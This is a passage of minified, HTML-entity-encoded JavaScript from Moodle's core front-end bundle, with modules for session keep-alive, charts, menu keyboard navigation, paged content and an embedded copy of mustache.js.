y=$(window).scrollTop(),offset=Math.round(autoscroll.scrollAmount*autoscroll.SCROLL_SPEED);if(y+offset&lt;0&amp;&amp;(offset=-y),y+offset&gt;maxScroll&amp;&amp;(offset=maxScroll-y),0!==offset){$(window).scrollTop(y+offset);var realOffset=$(window).scrollTop()-y;0!==realOffset&amp;&amp;autoscroll.callback&amp;&amp;autoscroll.callback(realOffset)}}),autoscroll.SCROLL_FREQUENCY)},stopScrolling:function(){window.clearInterval(autoscroll.scrollingId),autoscroll.scrollingId=null}};return{start:autoscroll.start,stop:autoscroll.stop}}));
/**
 * Poll the server to keep the session alive.
 *
 * @module     core/network
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/network&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/config&quot;,&quot;core/notification&quot;,&quot;core/str&quot;],(function($,Ajax,Config,Notification,Str){var started=!1,warningDisplayed=!1,keepAliveFrequency=0,requestTimeout=0,keepAliveMessage=!1,sessionTimeout=!1,checkFrequency=1e3*Math.min(Config.sessiontimeout/10,600),warningLimit=Config.sessiontimeoutwarning&gt;0?1e3*Config.sessiontimeoutwarning:2*checkFrequency,firstWait=Config.sessiontimeoutwarning&gt;0?Math.min(1e3*(Config.sessiontimeout-Config.sessiontimeoutwarning),5*checkFrequency):5*checkFrequency,timeoutSessionExpired=function(modal){sessionTimeout=!0,warningDisplayed=!1,closeModal(modal),displaySessionExpired()},closeModal=function(modal){modal.destroy()},displaySessionExpired=function(){return Ajax.call([{methodname:&quot;core_session_time_remaining&quot;,args:{}}],!0,!0,!0)[0].then((function(args){return!(1e3*args.timeremaining&gt;warningLimit)&amp;&amp;Str.get_strings([{key:&quot;sessionexpired&quot;,component:&quot;error&quot;},{key:&quot;sessionerroruser&quot;,component:&quot;error&quot;},{key:&quot;loginagain&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).then((function(strings){return Notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){return location.reload(),!0})),!0})).catch(Notification.exception)}))},touchSession=function(){return sessionTimeout?displaySessionExpired():Ajax.call([{methodname:&quot;core_session_touch&quot;,args:{}}],!0,!0,!1,requestTimeout)[0].then((function(){return keepAliveFrequency&gt;0&amp;&amp;setTimeout(touchSession,keepAliveFrequency),!0})).catch((function(){Notification.alert(&quot;&quot;,keepAliveMessage)}))},checkSession=function(){return sessionTimeout=!1,Ajax.call([{methodname:&quot;core_session_time_remaining&quot;,args:{}}],!0,!0,!0)[0].then((function(args){return!(args.userid&lt;=0)&amp;&amp;(args.timeremaining&lt;=0?displaySessionExpired():(1e3*args.timeremaining&lt;=warningLimit&amp;&amp;!warningDisplayed?(warningDisplayed=!0,Str.get_strings([{key:&quot;norecentactivity&quot;,component:&quot;moodle&quot;},{key:&quot;sessiontimeoutsoon&quot;,component:&quot;moodle&quot;},{key:&quot;extendsession&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).then((function(strings){return Notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){return touchSession(),warningDisplayed=!1,setTimeout(checkSession,firstWait),!0}),(function(){setTimeout(checkSession,checkFrequency)}))})).then((modal=&gt;{setTimeout(timeoutSessionExpired,1e3*args.timeremaining,modal)})).catch(Notification.exception)):setTimeout(checkSession,checkFrequency),!0))}))},start=function(){keepAliveFrequency&gt;0?setTimeout(touchSession,keepAliveFrequency):setTimeout(checkSession,firstWait)};const isMoodleIframe=function(){if(window.parent===window)return!1;let parentUrl;try{parentUrl=window.parent.location.href}catch(e){return!1}return parentUrl.startsWith(M.cfg.wwwroot)};return{keepalive:function(freq,timeout,message){started?window.console.warn(&quot;Ignoring session keep-alive. The core/network module was already initialised.&quot;):(started=!0,isMoodleIframe()?window.console.warn(&quot;Ignoring session keep-alive in this iframe inside another Moodle page.&quot;):(window.console.log(&quot;Starting Moodle session keep-alive.&quot;),keepAliveFrequency=1e3*freq,keepAliveMessage=message,requestTimeout=1e3*timeout,start()))},init:function(){started||(started=!0,isMoodleIframe()?window.console.log(&quot;Not starting Moodle session timeout warning in this iframe.&quot;):(window.console.log(&quot;Starting Moodle session timeout warning.&quot;),start()))}}}));
define(&quot;core/fullscreen&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.getElement=void 0;_exports.getElement=()=&gt;{let element=null;return document.fullscreenElement?element=document.fullscreenElement:document.mozFullscreenElement?element=document.mozFullscreenElement:document.msFullscreenElement?element=document.msFullscreenElement:document.webkitFullscreenElement&amp;&amp;(element=document.webkitFullscreenElement),element}}));
/**
 * Chart output for HTML table.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_output_htmltable
 */
define(&quot;core/chart_output_htmltable&quot;,[&quot;jquery&quot;,&quot;core/chart_output_base&quot;],(function($,Base){function Output(){Base.prototype.constructor.apply(this,arguments),this._build()}return Output.prototype=Object.create(Base.prototype),Output.prototype._build=function(){this._node.empty(),this._node.append(this._makeTable())},Output.prototype._makeTable=function(){var node,value,tbl=$(&quot;&lt;table&gt;&quot;),c=this._chart,labels=c.getLabels(),hasLabel=labels.length&gt;0,series=c.getSeries(),rowCount=series[0].getCount();tbl.addClass(&quot;chart-output-htmltable generaltable&quot;),null!==c.getTitle()&amp;&amp;tbl.append($(&quot;&lt;caption&gt;&quot;).text(c.getTitle())),node=$(&quot;&lt;tr&gt;&quot;),hasLabel&amp;&amp;node.append($(&quot;&lt;td&gt;&quot;)),series.forEach((function(serie){node.append($(&quot;&lt;th&gt;&quot;).text(serie.getLabel()).attr(&quot;scope&quot;,&quot;col&quot;))})),tbl.append(node);for(var rowId=0;rowId&lt;rowCount;rowId++){node=$(&quot;&lt;tr&gt;&quot;),labels.length&gt;0&amp;&amp;node.append($(&quot;&lt;th&gt;&quot;).text(labels[rowId]).attr(&quot;scope&quot;,&quot;row&quot;));for(var serieId=0;serieId&lt;series.length;serieId++)value=series[serieId].getValues()[rowId],null!==series[serieId].getLabels()&amp;&amp;(value=series[serieId].getLabels()[rowId]),node.append($(&quot;&lt;td&gt;&quot;).text(value));tbl.append(node)}return tbl},Output.prototype.update=function(){this._build()},Output}));
define(&quot;core/reactive&quot;,[&quot;exports&quot;,&quot;core/local/reactive/basecomponent&quot;,&quot;core/local/reactive/reactive&quot;,&quot;core/local/reactive/dragdrop&quot;,&quot;core/local/reactive/debug&quot;],(function(_exports,_basecomponent,_reactive,_dragdrop,_debug){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Generic reactive module used in the course editor.
   *
   * @module     core/reactive
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */let debug;if(Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;BaseComponent&quot;,{enumerable:!0,get:function(){return _basecomponent.default}}),Object.defineProperty(_exports,&quot;DragDrop&quot;,{enumerable:!0,get:function(){return _dragdrop.default}}),Object.defineProperty(_exports,&quot;Reactive&quot;,{enumerable:!0,get:function(){return _reactive.default}}),_exports.debug=void 0,_basecomponent=_interopRequireDefault(_basecomponent),_reactive=_interopRequireDefault(_reactive),_dragdrop=_interopRequireDefault(_dragdrop),_exports.debug=debug,M.cfg.developerdebug&amp;&amp;void 0===M.reactive){const debugOBject=(0,_debug.initDebug)();M.reactive=debugOBject.debuggers,_exports.debug=debug=debugOBject.debug}}));
var global,factory;global=window,factory=function(mustache){var objectToString=Object.prototype.toString,isArray=Array.isArray||function(object){return&quot;[object Array]&quot;===objectToString.call(object)};function isFunction(object){return&quot;function&quot;==typeof object}function escapeRegExp(string){return string.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,&quot;\\$&amp;&quot;)}function hasProperty(obj,propName){return null!=obj&amp;&amp;&quot;object&quot;==typeof obj&amp;&amp;propName in obj}var regExpTest=RegExp.prototype.test,nonSpaceRe=/\S/;function isWhitespace(string){return!function(re,string){return regExpTest.call(re,string)}(nonSpaceRe,string)}var entityMap={&quot;&amp;&quot;:&quot;&amp;amp;&quot;,&quot;&lt;&quot;:&quot;&amp;lt;&quot;,&quot;&gt;&quot;:&quot;&amp;gt;&quot;,&#039;&quot;&#039;:&quot;&amp;quot;&quot;,&quot;&#039;&quot;:&quot;&amp;#39;&quot;,&quot;/&quot;:&quot;&amp;#x2F;&quot;,&quot;`&quot;:&quot;&amp;#x60;&quot;,&quot;=&quot;:&quot;&amp;#x3D;&quot;},whiteRe=/\s*/,spaceRe=/\s+/,equalsRe=/\s*=/,curlyRe=/\s*\}/,tagRe=/#|\^|\/|&gt;|\{|&amp;|=|!|\$|&lt;/;function Scanner(string){this.string=string,this.tail=string,this.pos=0}function Context(view,parentContext){this.view=view,this.blocks={},this.cache={&quot;.&quot;:this.view},this.parent=parentContext}function Writer(){this.cache={}}Scanner.prototype.eos=function(){return&quot;&quot;===this.tail},Scanner.prototype.scan=function(re){var match=this.tail.match(re);if(!match||0!==match.index)return&quot;&quot;;var string=match[0];return this.tail=this.tail.substring(string.length),this.pos+=string.length,string},Scanner.prototype.scanUntil=function(re){var match,index=this.tail.search(re);switch(index){case-1:match=this.tail,this.tail=&quot;&quot;;break;case 0:match=&quot;&quot;;break;default:match=this.tail.substring(0,index),this.tail=this.tail.substring(index)}return this.pos+=match.length,match},Context.prototype.push=function(view){return new Context(view,this)},Context.prototype.setBlockVar=function(name,value){return this.blocks[name]=value,value},Context.prototype.clearBlockVars=function(){this.blocks={}},Context.prototype.getBlockVar=function(name){var value,blocks=this.blocks;return blocks.hasOwnProperty(name)?value=blocks[name]:this.parent&amp;&amp;(value=this.parent.getBlockVar(name)),value},Context.prototype.lookup=function(name){var value,primitive,propName,cache=this.cache;if(cache.hasOwnProperty(name))value=cache[name];else{for(var intermediateValue,names,index,context=this,lookupHit=!1;context;){if(name.indexOf(&quot;.&quot;)&gt;0)for(intermediateValue=context.view,names=name.split(&quot;.&quot;),index=0;null!=intermediateValue&amp;&amp;index&lt;names.length;)index===names.length-1&amp;&amp;(lookupHit=hasProperty(intermediateValue,names[index])||(primitive=intermediateValue,propName=names[index],null!=primitive&amp;&amp;&quot;object&quot;!=typeof primitive&amp;&amp;primitive.hasOwnProperty&amp;&amp;primitive.hasOwnProperty(propName))),intermediateValue=intermediateValue[names[index++]];else intermediateValue=context.view[name],lookupHit=hasProperty(context.view,name);if(lookupHit){value=intermediateValue;break}context=context.parent}cache[name]=value}return isFunction(value)&amp;&amp;(value=value.call(this.view)),value},Writer.prototype.clearCache=function(){this.cache={}},Writer.prototype.parse=function(template,tags){var cache=this.cache,cacheKey=template+&quot;:&quot;+(tags||mustache.tags).join(&quot;:&quot;),tokens=cache[cacheKey];return null==tokens&amp;&amp;(tokens=cache[cacheKey]=function(template,tags){if(!template)return[];var openingTagRe,closingTagRe,closingCurlyRe,lineHasNonSpace=!1,sections=[],tokens=[],spaces=[],hasTag=!1,nonSpace=!1,indentation=&quot;&quot;,tagIndex=0;function stripSpace(){if(hasTag&amp;&amp;!nonSpace)for(;spaces.length;)delete tokens[spaces.pop()];else spaces=[];hasTag=!1,nonSpace=!1}function compileTags(tagsToCompile){if(&quot;string&quot;==typeof tagsToCompile&amp;&amp;(tagsToCompile=tagsToCompile.split(spaceRe,2)),!isArray(tagsToCompile)||2!==tagsToCompile.length)throw new Error(&quot;Invalid tags: &quot;+tagsToCompile);openingTagRe=new RegExp(escapeRegExp(tagsToCompile[0])+&quot;\\s*&quot;),closingTagRe=new RegExp(&quot;\\s*&quot;+escapeRegExp(tagsToCompile[1])),closingCurlyRe=new RegExp(&quot;\\s*&quot;+escapeRegExp(&quot;}&quot;+tagsToCompile[1]))}compileTags(tags||mustache.tags);for(var start,type,value,chr,token,openSection,scanner=new Scanner(template);!scanner.eos();){if(start=scanner.pos,value=scanner.scanUntil(openingTagRe))for(var i=0,valueLength=value.length;i&lt;valueLength;++i)isWhitespace(chr=value.charAt(i))?(spaces.push(tokens.length),indentation+=chr):(nonSpace=!0,lineHasNonSpace=!0,indentation+=&quot; &quot;),tokens.push([&quot;text&quot;,chr,start,start+1]),start+=1,&quot;\n&quot;===chr&amp;&amp;(stripSpace(),indentation=&quot;&quot;,tagIndex=0,lineHasNonSpace=!1);if(!scanner.scan(openingTagRe))break;if(hasTag=!0,type=scanner.scan(tagRe)||&quot;name&quot;,scanner.scan(whiteRe),&quot;=&quot;===type?(value=scanner.scanUntil(equalsRe),scanner.scan(equalsRe),scanner.scanUntil(closingTagRe)):&quot;{&quot;===type?(value=scanner.scanUntil(closingCurlyRe),scanner.scan(curlyRe),scanner.scanUntil(closingTagRe),type=&quot;&amp;&quot;):value=scanner.scanUntil(closingTagRe),!scanner.scan(closingTagRe))throw new Error(&quot;Unclosed tag at &quot;+scanner.pos);if(token=&quot;&gt;&quot;==type?[type,value,start,scanner.pos,indentation,tagIndex,lineHasNonSpace]:[type,value,start,scanner.pos],tagIndex++,tokens.push(token),&quot;#&quot;===type||&quot;^&quot;===type||&quot;$&quot;===type||&quot;&lt;&quot;===type)sections.push(token);else if(&quot;/&quot;===type){if(!(openSection=sections.pop()))throw new Error(&#039;Unopened section &quot;&#039;+value+&#039;&quot; at &#039;+start);if(openSection[1]!==value)throw new Error(&#039;Unclosed section &quot;&#039;+openSection[1]+&#039;&quot; at &#039;+start)}else&quot;name&quot;===type||&quot;{&quot;===type||&quot;&amp;&quot;===type?nonSpace=!0:&quot;=&quot;===type&amp;&amp;compileTags(value)}if(stripSpace(),openSection=sections.pop())throw new Error(&#039;Unclosed section &quot;&#039;+openSection[1]+&#039;&quot; at &#039;+scanner.pos);return function(tokens){for(var token,nestedTokens=[],collector=nestedTokens,sections=[],i=0,numTokens=tokens.length;i&lt;numTokens;++i)switch((token=tokens[i])[0]){case&quot;$&quot;:case&quot;&lt;&quot;:case&quot;#&quot;:case&quot;^&quot;:collector.push(token),sections.push(token),collector=token[4]=[];break;case&quot;/&quot;:sections.pop()[5]=token[2],collector=sections.length&gt;0?sections[sections.length-1][4]:nestedTokens;break;default:collector.push(token)}return nestedTokens}(function(tokens){for(var token,lastToken,squashedTokens=[],i=0,numTokens=tokens.length;i&lt;numTokens;++i)(token=tokens[i])&amp;&amp;(&quot;text&quot;===token[0]&amp;&amp;lastToken&amp;&amp;&quot;text&quot;===lastToken[0]?(lastToken[1]+=token[1],lastToken[3]=token[3]):(squashedTokens.push(token),lastToken=token));return squashedTokens}(tokens))}(template,tags)),tokens},Writer.prototype.render=function(template,view,partials,tags){var tokens=this.parse(template,tags),context=view instanceof Context?view:new Context(view);return this.renderTokens(tokens,context,partials,template,tags)},Writer.prototype.renderTokens=function(tokens,context,partials,originalTemplate,tags){for(var token,symbol,value,buffer=&quot;&quot;,i=0,numTokens=tokens.length;i&lt;numTokens;++i)value=void 0,&quot;#&quot;===(symbol=(token=tokens[i])[0])?value=this.renderSection(token,context,partials,originalTemplate):&quot;^&quot;===symbol?value=this.renderInverted(token,context,partials,originalTemplate):&quot;&gt;&quot;===symbol?value=this.renderPartial(token,context,partials,tags):&quot;&lt;&quot;===symbol?value=this.renderBlock(token,context,partials,originalTemplate):&quot;$&quot;===symbol?value=this.renderBlockVariable(token,context,partials,originalTemplate):&quot;&amp;&quot;===symbol?value=this.unescapedValue(token,context):&quot;name&quot;===symbol?value=this.escapedValue(token,context):&quot;text&quot;===symbol&amp;&amp;(value=this.rawValue(token)),void 0!==value&amp;&amp;(buffer+=value);return buffer},Writer.prototype.renderSection=function(token,context,partials,originalTemplate){var self=this,buffer=&quot;&quot;,value=context.lookup(token[1]);if(value){if(isArray(value))for(var j=0,valueLength=value.length;j&lt;valueLength;++j)buffer+=this.renderTokens(token[4],context.push(value[j]),partials,originalTemplate);else if(&quot;object&quot;==typeof value||&quot;string&quot;==typeof value||&quot;number&quot;==typeof value)buffer+=this.renderTokens(token[4],context.push(value),partials,originalTemplate);else if(isFunction(value)){if(&quot;string&quot;!=typeof originalTemplate)throw new Error(&quot;Cannot use higher-order sections without the original template&quot;);null!=(value=value.call(context.view,originalTemplate.slice(token[3],token[5]),(function(template){return self.render(template,context,partials)})))&amp;&amp;(buffer+=value)}else buffer+=this.renderTokens(token[4],context,partials,originalTemplate);return buffer}},Writer.prototype.renderInverted=function(token,context,partials,originalTemplate){var value=context.lookup(token[1]);if(!value||isArray(value)&amp;&amp;0===value.length)return this.renderTokens(token[4],context,partials,originalTemplate)},Writer.prototype.indentPartial=function(partial,indentation,lineHasNonSpace){for(var filteredIndentation=indentation.replace(/[^ \t]/g,&quot;&quot;),partialByNl=partial.split(&quot;\n&quot;),i=0;i&lt;partialByNl.length;i++)partialByNl[i].length&amp;&amp;(i&gt;0||!lineHasNonSpace)&amp;&amp;(partialByNl[i]=filteredIndentation+partialByNl[i]);return partialByNl.join(&quot;\n&quot;)},Writer.prototype.renderPartial=function(token,context,partials,tags){if(partials){var value=isFunction(partials)?partials(token[1]):partials[token[1]];if(null!=value){var lineHasNonSpace=token[6],tagIndex=token[5],indentation=token[4],indentedValue=value;return 0==tagIndex&amp;&amp;indentation&amp;&amp;(indentedValue=this.indentPartial(value,indentation,lineHasNonSpace)),this.renderTokens(this.parse(indentedValue,tags),context,partials,indentedValue)}}},Writer.prototype.renderBlock=function(token,context,partials,originalTemplate){if(partials){var value=isFunction(partials)?partials(token[1]):partials[token[1]];null!=value&amp;&amp;context.clearBlockVars(),this.renderTokens(token[4],context,partials,originalTemplate);var result=this.renderTokens(this.parse(value),context,partials,value);return context.clearBlockVars(),result}},Writer.prototype.renderBlockVariable=function(token,context,partials,originalTemplate){var value=token[1],exists=context.getBlockVar(value);return exists?this.renderTokens(this.parse(exists),context,partials,exists):(context.setBlockVar(value,originalTemplate.slice(token[3],token[5])),this.renderTokens(token[4],context,partials,originalTemplate))},Writer.prototype.unescapedValue=function(token,context){var value=context.lookup(token[1]);if(null!=value)return value},Writer.prototype.escapedValue=function(token,context){var value=context.lookup(token[1]);if(null!=value)return mustache.escape(value)},Writer.prototype.rawValue=function(token){return token[1]},mustache.name=&quot;mustache.js&quot;,mustache.version=&quot;3.1.0&quot;,mustache.tags=[&quot;{{&quot;,&quot;}}&quot;];var defaultWriter=new Writer;return mustache.clearCache=function(){return defaultWriter.clearCache()},mustache.parse=function(template,tags){return defaultWriter.parse(template,tags)},mustache.render=function(template,view,partials,tags){if(&quot;string&quot;!=typeof template)throw new TypeError(&#039;Invalid template! Template should be a &quot;string&quot; but &quot;&#039;+(isArray(obj=template)?&quot;array&quot;:typeof obj)+&#039;&quot; was given as the first argument for mustache#render(template, view, partials)&#039;);var obj;return defaultWriter.render(template,view,partials,tags)},mustache.to_html=function(template,view,partials,send){var result=mustache.render(template,view,partials);if(!isFunction(send))return result;send(result)},mustache.escape=function(string){return String(string).replace(/[&amp;&lt;&gt;&quot;&#039;`=\/]/g,(function(s){return entityMap[s]}))},mustache.Scanner=Scanner,mustache.Context=Context,mustache.Writer=Writer,mustache},&quot;object&quot;==typeof exports&amp;&amp;exports&amp;&amp;&quot;string&quot;!=typeof exports.nodeName?factory(exports):&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;core/mustache&quot;,[&quot;exports&quot;],factory):(global.Mustache={},factory(global.Mustache));
define(&quot;core/menu_navigation&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Keyboard initialization for a given html node.
   *
   * @module     core/menu_navigation
   * @copyright  2021 Moodle
   * @author     Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const SELECTORS_menuitem=&#039;[role=&quot;menuitem&quot;]&#039;,SELECTORS_tab=&#039;[role=&quot;tab&quot;]&#039;,SELECTORS_dropdowntoggle=&#039;[data-toggle=&quot;dropdown&quot;]&#039;;let openDropdownNode=null;const clickErrorHandler=(item,fallback)=&gt;null!==item?item:fallback,menuItemHelper=src=&gt;{let parent;if(!src.dataset.disableactive){if(src.classList.contains(&quot;dropdown-item&quot;)){parent=src.closest(&quot;.dropdown-menu&quot;);const dropDownToggle=document.getElementById(parent.getAttribute(&quot;aria-labelledby&quot;));dropDownToggle.classList.add(&quot;active&quot;),dropDownToggle.setAttribute(&quot;tabindex&quot;,0)}else{if(!src.matches(&quot;&quot;.concat(SELECTORS_tab,&quot;,&quot;).concat(SELECTORS_menuitem))||src.matches(SELECTORS_dropdowntoggle))return;parent=src.parentElement.parentElement.querySelector(&quot;.dropdown-menu&quot;)}Array.prototype.forEach.call(parent.children,(node=&gt;{const menuItem=node.querySelector(SELECTORS_menuitem);null!==menuItem&amp;&amp;(menuItem.classList.remove(&quot;active&quot;),menuItem.removeAttribute(&quot;aria-current&quot;))})),&quot;menuitem&quot;===src.getAttribute(&quot;role&quot;)&amp;&amp;src.setAttribute(&quot;aria-current&quot;,&quot;true&quot;)}},keyboardListenerEvents=e=&gt;{const src=e.srcElement,firstNode=e.currentTarget.firstElementChild,lastNode=findUsableLastNode(e.currentTarget);if(src.classList.contains(&quot;dropdown-item&quot;))&quot;ArrowRight&quot;!=e.key&amp;&amp;&quot;ArrowLeft&quot;!=e.key||(e.preventDefault(),null!==openDropdownNode&amp;&amp;openDropdownNode.parentElement.click()),&quot; &quot;!=e.key&amp;&amp;&quot;Enter&quot;!=e.key||(e.preventDefault(),menuItemHelper(src),src.parentElement.classList.contains(&quot;dropdown&quot;)||src.click());else{const rtl=window.right_to_left(),arrowNext=rtl?&quot;ArrowLeft&quot;:&quot;ArrowRight&quot;,arrowPrevious=rtl?&quot;ArrowRight&quot;:&quot;ArrowLeft&quot;;&quot;menuitem&quot;===src.getAttribute(&quot;role&quot;)&amp;&amp;(e.key==arrowNext&amp;&amp;(e.preventDefault(),setFocusNext(src,firstNode)),e.key==arrowPrevious&amp;&amp;(e.preventDefault(),setFocusPrev(src,lastNode)),&quot;ArrowUp&quot;!=e.key&amp;&amp;&quot;ArrowDown&quot;!=e.key||(openDropdownNode=src,e.preventDefault()),&quot;Home&quot;==e.key&amp;&amp;(e.preventDefault(),setFocusHomeEnd(firstNode)),&quot;End&quot;==e.key&amp;&amp;(e.preventDefault(),setFocusHomeEnd(lastNode))),&quot; &quot;!=e.key&amp;&amp;&quot;Enter&quot;!=e.key||(e.preventDefault(),src.parentElement.classList.contains(&quot;dropdown&quot;)||src.click())}},clickListenerEvents=e=&gt;{const src=e.srcElement;menuItemHelper(src)};_exports.default=elementRoot=&gt;{elementRoot.removeEventListener(&quot;keydown&quot;,keyboardListenerEvents),elementRoot.removeEventListener(&quot;click&quot;,clickListenerEvents),elementRoot.addEventListener(&quot;keydown&quot;,keyboardListenerEvents),elementRoot.addEventListener(&quot;click&quot;,clickListenerEvents)};const setFocusNext=(currentNode,firstNode)=&gt;{const listElement=currentNode.parentElement,nextListItem=(el=&gt;{do{el=el.nextElementSibling}while(el&amp;&amp;!el.offsetHeight);return el})(listElement),nodeToSelect=clickErrorHandler(nextListItem,firstNode),itemSelector=&quot;tablist&quot;===listElement.parentElement.getAttribute(&quot;role&quot;)?SELECTORS_tab:SELECTORS_menuitem;nodeToSelect.querySelector(itemSelector).focus()},setFocusPrev=(currentNode,lastNode)=&gt;{const listElement=currentNode.parentElement,nextListItem=(el=&gt;{do{el=el.previousElementSibling}while(el&amp;&amp;!el.offsetHeight);return el})(listElement),nodeToSelect=clickErrorHandler(nextListItem,lastNode),itemSelector=&quot;tablist&quot;===listElement.parentElement.getAttribute(&quot;role&quot;)?SELECTORS_tab:SELECTORS_menuitem;nodeToSelect.querySelector(itemSelector).focus()},setFocusHomeEnd=node=&gt;{node.querySelector(SELECTORS_menuitem).focus()},findUsableLastNode=elementRoot=&gt;{if(elementRoot.lastElementChild.classList.contains(&quot;d-none&quot;)){const nodesToUse=Array.prototype.map.call(elementRoot.children,(node=&gt;node)).reverse().filter((node=&gt;{if(!node.classList.contains(&quot;d-none&quot;))return node}));return 0!==nodesToUse.length?nodesToUse[0]:elementRoot.firstElementChild}return elementRoot.lastElementChild};return _exports.default}));
/**
 * Chart bar.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_bar
 */
define(&quot;core/chart_bar&quot;,[&quot;core/chart_base&quot;],(function(Base){function Bar(){Base.prototype.constructor.apply(this,arguments)}return Bar.prototype=Object.create(Base.prototype),Bar.prototype._horizontal=!1,Bar.prototype._stacked=!1,Bar.prototype.TYPE=&quot;bar&quot;,Bar.prototype.create=function(Klass,data){var chart=Base.prototype.create.apply(this,arguments);return chart.setHorizontal(data.horizontal),chart.setStacked(data.stacked),chart},Bar.prototype._setDefaults=function(){Base.prototype._setDefaults.apply(this,arguments);var axis=this.getYAxis(0,!0);axis.setMin(0)},Bar.prototype.getHorizontal=function(){return this._horizontal},Bar.prototype.getStacked=function(){return this._stacked},Bar.prototype.setHorizontal=function(horizontal){var axis=this.getXAxis(0,!0);null===axis.getMin()&amp;&amp;axis.setMin(0),this._horizontal=Boolean(horizontal)},Bar.prototype.setStacked=function(stacked){this._stacked=Boolean(stacked)},Bar}));
/**
 * Factory to create a paged content widget.
 *
 * @module     core/paged_content_factory
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content_factory&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/paged_content&quot;,&quot;core/paged_content_events&quot;,&quot;core/pubsub&quot;,&quot;core/ajax&quot;],(function($,Templates,Notification,PagedContent,PagedContentEvents,PubSub,Ajax){var TEMPLATES_PAGED_CONTENT=&quot;core/paged_content&quot;,DEFAULT_ITEMS_PER_PAGE_SINGLE=25,DEFAULT_ITEMS_PER_PAGE_ARRAY=[25,50,100,0],DEFAULT_MAX_PAGES=3,buildItemsPerPagePagingBarContext=function(itemsPerPage){var context=[];$.isArray(itemsPerPage)?(context=itemsPerPage.map((function(num){return&quot;number&quot;==typeof num?{value:num,active:!1}:num}))).filter((function(item){return item.active})).length||(context[0].active=!0):context=[{value:itemsPerPage,active:!0}];return context},buildPagingBarTemplateContext=function(numberOfItems,itemsPerPage){return numberOfItems?function(numberOfItems,itemsPerPage){null===itemsPerPage&amp;&amp;(itemsPerPage=DEFAULT_ITEMS_PER_PAGE_SINGLE),$.isArray(itemsPerPage)&amp;&amp;(itemsPerPage=itemsPerPage[0]);var context={showitemsperpageselector:!1,itemsperpage:[{value:35,active:!0}],previous:!0,next:!0,activepagenumber:1,hidecontrolonsinglepage:!0,pages:[]};context.itemsperpage=buildItemsPerPagePagingBarContext(itemsPerPage);for(var numberOfPages=function(numberOfItems,itemsPerPage){var numberOfPages=1;if(numberOfItems&gt;0){var partial=numberOfItems%itemsPerPage;numberOfPages=partial?(numberOfItems-=partial)/itemsPerPage+1:numberOfItems/itemsPerPage}return numberOfPages}(numberOfItems,itemsPerPage),i=1;i&lt;=numberOfPages;i++){var page={number:i,page:&quot;&quot;+i};1===i&amp;&amp;(page.active=!0),context.pages.push(page)}return context.barsize=10,context}(numberOfItems,itemsPerPage):function(itemsPerPage){null===itemsPerPage&amp;&amp;(itemsPerPage=DEFAULT_ITEMS_PER_PAGE_ARRAY);var context={showitemsperpageselector:!1,itemsperpage:[{value:35,active:!0}],previous:!0,next:!0,activepagenumber:1,hidecontrolonsinglepage:!0,pages:[]};return context.itemsperpage=buildItemsPerPagePagingBarContext(itemsPerPage),context.showitemsperpageselector=$.isArray(itemsPerPage)&amp;&amp;itemsPerPage.length&gt;1,context}(itemsPerPage)},buildTemplateContext=function(numberOfItems,itemsPerPage,config){var context={pagingbar:!1,pagingdropdown:!1,skipjs:!0,ignorecontrolwhileloading:!0,controlplacementbottom:!1};return config.hasOwnProperty(&quot;ignoreControlWhileLoading&quot;)&amp;&amp;(context.ignorecontrolwhileloading=config.ignoreControlWhileLoading),config.hasOwnProperty(&quot;controlPlacementBottom&quot;)&amp;&amp;(context.controlplacementbottom=config.controlPlacementBottom),config.hasOwnProperty(&quot;hideControlOnSinglePage&quot;)&amp;&amp;(context.hidecontrolonsinglepage=config.hideControlOnSinglePage),config.hasOwnProperty(&quot;ariaLabels&quot;)&amp;&amp;(context.arialabels=config.ariaLabels),config.hasOwnProperty(&quot;dropdown&quot;)&amp;&amp;config.dropdown?context.pagingdropdown=function(itemsPerPage,config){if(null===itemsPerPage&amp;&amp;(itemsPerPage=DEFAULT_ITEMS_PER_PAGE_SINGLE),$.isArray(itemsPerPage))return{options:itemsPerPage};var context={options:[]},totalItems=0,lastIncrease=0,maxPages=DEFAULT_MAX_PAGES;config.hasOwnProperty(&quot;maxPages&quot;)&amp;&amp;(maxPages=config.maxPages);for(var i=1;i&lt;=maxPages;i++){var itemCount=0;i&lt;=2?(itemCount=itemsPerPage,lastIncrease=itemsPerPage):itemCount=lastIncrease*=2;var option={itemcount:itemCount,content:totalItems+=itemCount};1===i&amp;&amp;(option.active=!0),context.options.push(option)}return context}(itemsPerPage,config):(context.pagingbar=buildPagingBarTemplateContext(numberOfItems,itemsPerPage),config.hasOwnProperty(&quot;showFirstLast&quot;)&amp;&amp;config.showFirstLast&amp;&amp;(context.pagingbar.first=!0,context.pagingbar.last=!0)),context},createWithTotalAndLimit=function(numberOfItems,itemsPerPage,renderPagesContentCallback,config){config=config||{};var 